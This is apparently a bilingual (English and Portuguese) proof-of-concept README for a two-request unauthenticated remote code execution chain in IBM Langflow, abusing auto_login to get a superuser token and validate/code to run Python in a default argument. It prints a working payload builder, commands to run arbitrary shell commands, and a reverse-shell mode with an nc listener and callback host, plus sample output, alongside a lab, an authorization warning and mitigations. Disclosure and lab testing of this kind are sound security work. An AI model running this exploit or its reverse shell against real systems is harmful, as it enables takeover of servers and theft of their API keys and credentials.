CVE-2026-9198: Langflow unauthenticated RCE — auto_login → validate/codeCVE-2026-9198: RCE não autenticada no Langflow — auto_login → validate/code
A two-request pre-auth RCE chain in IBM Langflow OSS: auto_login hands a SUPERUSER token to any caller, and validate/code executes Python inside a function's default argument — with the output leaked back through the error response.Uma cadeia de RCE pré-autenticação em duas requisições no IBM Langflow OSS: o auto_login entrega um token SUPERUSER para qualquer um, e o validate/code executa Python dentro do valor padrão de um argumento — com a saída vazando de volta pela resposta de erro.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: the lab in this repo is deliberately vulnerable and binds Langflow to
127.0.0.1on purpose. Run it only on machines you own, and point the exploit only at targets you have explicit written permission to test. Anything else is likely a crime.
Summary
CVE-2026-9198 is an unauthenticated remote code execution bug in IBM Langflow OSS, the low-code builder for LLM pipelines. It is CVSS 9.8, CWE-94 (code injection), and it sits in the CISA KEV catalog — it is being exploited in the wild.
There is no memory corruption and no clever primitive here. Two ordinary HTTP requests are enough:
GET /api/v1/auto_logingives anyone a SUPERUSER JWT.POST /api/v1/validate/code, authenticated with that JWT, runs attacker-supplied Python.
The interesting part is that step 2 was already patched once. CVE-2025-3248
put an authentication gate in front of validate/code in Langflow 1.3.0 — and
step 1 walks straight through it.
| Product | IBM Langflow OSS |
| Affected | 1.0.0 – 1.10.0 |
| Fixed in | 1.10.1 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — code injection |
| CISA KEV | Yes |
Impact
| Precondition | Required? |
|---|---|
| Valid credentials | No |
| User interaction | No |
| Network reachability to the Langflow HTTP port | Yes |
LANGFLOW_AUTO_LOGIN enabled | Yes — and it is the default in typical deployments |
The result is arbitrary command execution as the Langflow service user, which in practice owns the API keys, model provider credentials, and flow definitions of every pipeline on the instance.
How the chain works
Step 1 — a SUPERUSER token for free
Langflow ships with LANGFLOW_AUTO_LOGIN on. With that setting, the
auto_login endpoint issues a long-lived SUPERUSER JWT to any caller,
without asking for anything:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }Some builds only answer POST on that route, and some return the token as an
access_token_lf cookie instead of in the body — the PoC handles all three.
Step 2 — code execution inside a default argument
validate/code is meant to lint a snippet before it is saved into a flow. To do
that, validate_code() compiles every function definition it receives and
execs it:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj)
except Exception as e:
errors["function"]["errors"].append(str(e))Executing a def statement does not call the function — but it does evaluate
its default argument values. So a function whose default is exec("...") runs
attacker code the moment it is "validated", and the function body is never
touched:
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
passAnd the except branch is the exfiltration channel: whatever exception the
payload raises is serialized back to the client under function.errors. Raising
the command's own stdout turns a blind primitive into a readable one.
Proof of concept
exploit.py drives the
whole chain. The command is base64-wrapped before being embedded so quoting and
shell metacharacters survive the trip:
def build_cmd_payload(cmd: str) -> str:
cmd_b64 = base64.b64encode(cmd.encode()).decode()
inner = (
'_sp=__import__("subprocess");'
'_p=_sp.run(__import__("base64").b64decode("%s").decode(),'
"shell=True,stdout=_sp.PIPE,stderr=_sp.STDOUT);"
'raise Exception(_p.stdout.decode() or "(command produced no output)")'
) % cmd_b64
# `exec(inner)` is the default value of argument `a`; evaluating the def runs it.
return "def _(a=exec(%r)):\n pass" % innerThe reverse-shell payload uses the same trick, with a socket + /bin/sh stanza
in place of the subprocess.run.
Run it
Prerequisites: Docker + Docker Compose, Python 3.8+, and requests.
1. Bring up the vulnerable lab — Langflow 1.10.0 plus Postgres, published
only on loopback:
docker compose up -d
curl -fs http://127.0.0.1:9999/health && echo OKFirst boot takes a minute or two.
2. Run a command:
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------3. Or take a shell — listener first, then the payload. Against the local lab
the container reaches the host at host.docker.internal; against a real target
use your routable IP:
nc -lvnp 4444python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444Flags: --cmd, --reverse-shell, --lhost / --lport, --token (skip
auto_login and use a bearer token you already have), --timeout, --insecure.
Tear down with docker compose down -v.
Mitigation
- Upgrade to Langflow
1.10.1or later. - Set
LANGFLOW_AUTO_LOGIN=falseon anything network-reachable, and configure real superuser credentials. - Do not expose Langflow to the internet. Put it behind authentication and network controls — the KEV listing means unpatched instances are being found.
References
- NVD — CVE-2026-9198
- IBM Security Bulletin
- CISA Known Exploited Vulnerabilities Catalog
- CVE-2025-3248 — the earlier
validate/codeinjection whose auth fix this chain bypasses - Full lab & exploit source
Autorização: o lab deste repositório é propositalmente vulnerável e amarra o Langflow em
127.0.0.1de propósito. Rode apenas em máquinas que você possui, e aponte o exploit apenas para alvos para os quais você tem permissão explícita por escrito. Qualquer outra coisa provavelmente é crime.
Resumo
A CVE-2026-9198 é uma execução remota de código não autenticada no IBM Langflow OSS, o construtor low-code de pipelines de LLM. É CVSS 9.8, CWE-94 (code injection), e está no catálogo CISA KEV — está sendo explorada ativamente.
Não há corrupção de memória nem primitiva engenhosa aqui. Duas requisições HTTP comuns bastam:
GET /api/v1/auto_logindá a qualquer um um JWT de SUPERUSER.POST /api/v1/validate/code, autenticado com esse JWT, roda Python fornecido pelo atacante.
O detalhe interessante é que o passo 2 já tinha sido corrigido uma vez. A
CVE-2025-3248 colocou uma barreira de autenticação na frente do
validate/code no Langflow 1.3.0 — e o passo 1 passa direto por ela.
| Produto | IBM Langflow OSS |
| Afetadas | 1.0.0 – 1.10.0 |
| Corrigido em | 1.10.1 |
| CVSS 3.1 | 9.8 Crítica — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — code injection |
| CISA KEV | Sim |
Impacto
| Pré-condição | Necessária? |
|---|---|
| Credenciais válidas | Não |
| Interação do usuário | Não |
| Alcance de rede até a porta HTTP do Langflow | Sim |
LANGFLOW_AUTO_LOGIN habilitado | Sim — e é o padrão em deploys típicos |
O resultado é execução arbitrária de comandos como o usuário do serviço Langflow, que na prática detém as API keys, as credenciais dos provedores de modelo e as definições de fluxo de todos os pipelines da instância.
Como a cadeia funciona
Passo 1 — um token SUPERUSER de graça
O Langflow vem com LANGFLOW_AUTO_LOGIN ligado. Com essa configuração, o
endpoint auto_login emite um JWT SUPERUSER de longa duração para qualquer
chamador, sem pedir nada:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }Alguns builds respondem apenas a POST nessa rota, e alguns devolvem o token em
um cookie access_token_lf em vez de no corpo — a PoC trata os três casos.
Passo 2 — execução de código dentro de um argumento padrão
O validate/code deveria apenas checar um trecho de código antes de ele ser
salvo em um fluxo. Para isso, validate_code() compila cada definição de função
que recebe e executa com exec:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj)
except Exception as e:
errors["function"]["errors"].append(str(e))Executar uma instrução def não chama a função — mas avalia os valores padrão
dos argumentos dela. Então uma função cujo padrão é exec("...") roda o código
do atacante no instante em que é "validada", e o corpo da função nunca é tocado:
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<saída>)')):
passE o ramo except é o canal de exfiltração: qualquer exceção que o payload lançar
é serializada de volta ao cliente sob function.errors. Lançar o próprio stdout
do comando transforma uma primitiva cega em uma primitiva legível.
Prova de conceito
O exploit.py conduz a
cadeia inteira. O comando é embrulhado em base64 antes de ser embutido, para que
aspas e metacaracteres de shell sobrevivam ao trajeto:
def build_cmd_payload(cmd: str) -> str:
cmd_b64 = base64.b64encode(cmd.encode()).decode()
inner = (
'_sp=__import__("subprocess");'
'_p=_sp.run(__import__("base64").b64decode("%s").decode(),'
"shell=True,stdout=_sp.PIPE,stderr=_sp.STDOUT);"
'raise Exception(_p.stdout.decode() or "(command produced no output)")'
) % cmd_b64
# `exec(inner)` é o valor padrão do argumento `a`; avaliar o def o executa.
return "def _(a=exec(%r)):\n pass" % innerO payload de reverse shell usa o mesmo truque, com um trecho de socket +
/bin/sh no lugar do subprocess.run.
Rodando o lab
Pré-requisitos: Docker + Docker Compose, Python 3.8+ e requests.
1. Suba o lab vulnerável — Langflow 1.10.0 mais Postgres, publicado apenas
em loopback:
docker compose up -d
curl -fs http://127.0.0.1:9999/health && echo OKO primeiro boot leva um ou dois minutos.
2. Rode um comando:
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------3. Ou pegue um shell — listener primeiro, depois o payload. Contra o lab
local o contêiner alcança o host em host.docker.internal; contra um alvo real,
use o seu IP roteável:
nc -lvnp 4444python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444Flags: --cmd, --reverse-shell, --lhost / --lport, --token (pula o
auto_login e usa um bearer token que você já tem), --timeout, --insecure.
Derrube o ambiente com docker compose down -v.
Mitigação
- Atualize para o Langflow
1.10.1ou superior. - Defina
LANGFLOW_AUTO_LOGIN=falseem qualquer instância alcançável pela rede, e configure credenciais reais de superusuário. - Não exponha o Langflow na internet. Coloque-o atrás de autenticação e de controles de rede — estar no KEV significa que instâncias sem patch estão sendo encontradas.
Referências
- NVD — CVE-2026-9198
- Boletim de segurança da IBM
- Catálogo CISA Known Exploited Vulnerabilities
- CVE-2025-3248 — a injeção anterior no
validate/code, cuja correção de autenticação esta cadeia burla - Código completo do lab e do exploit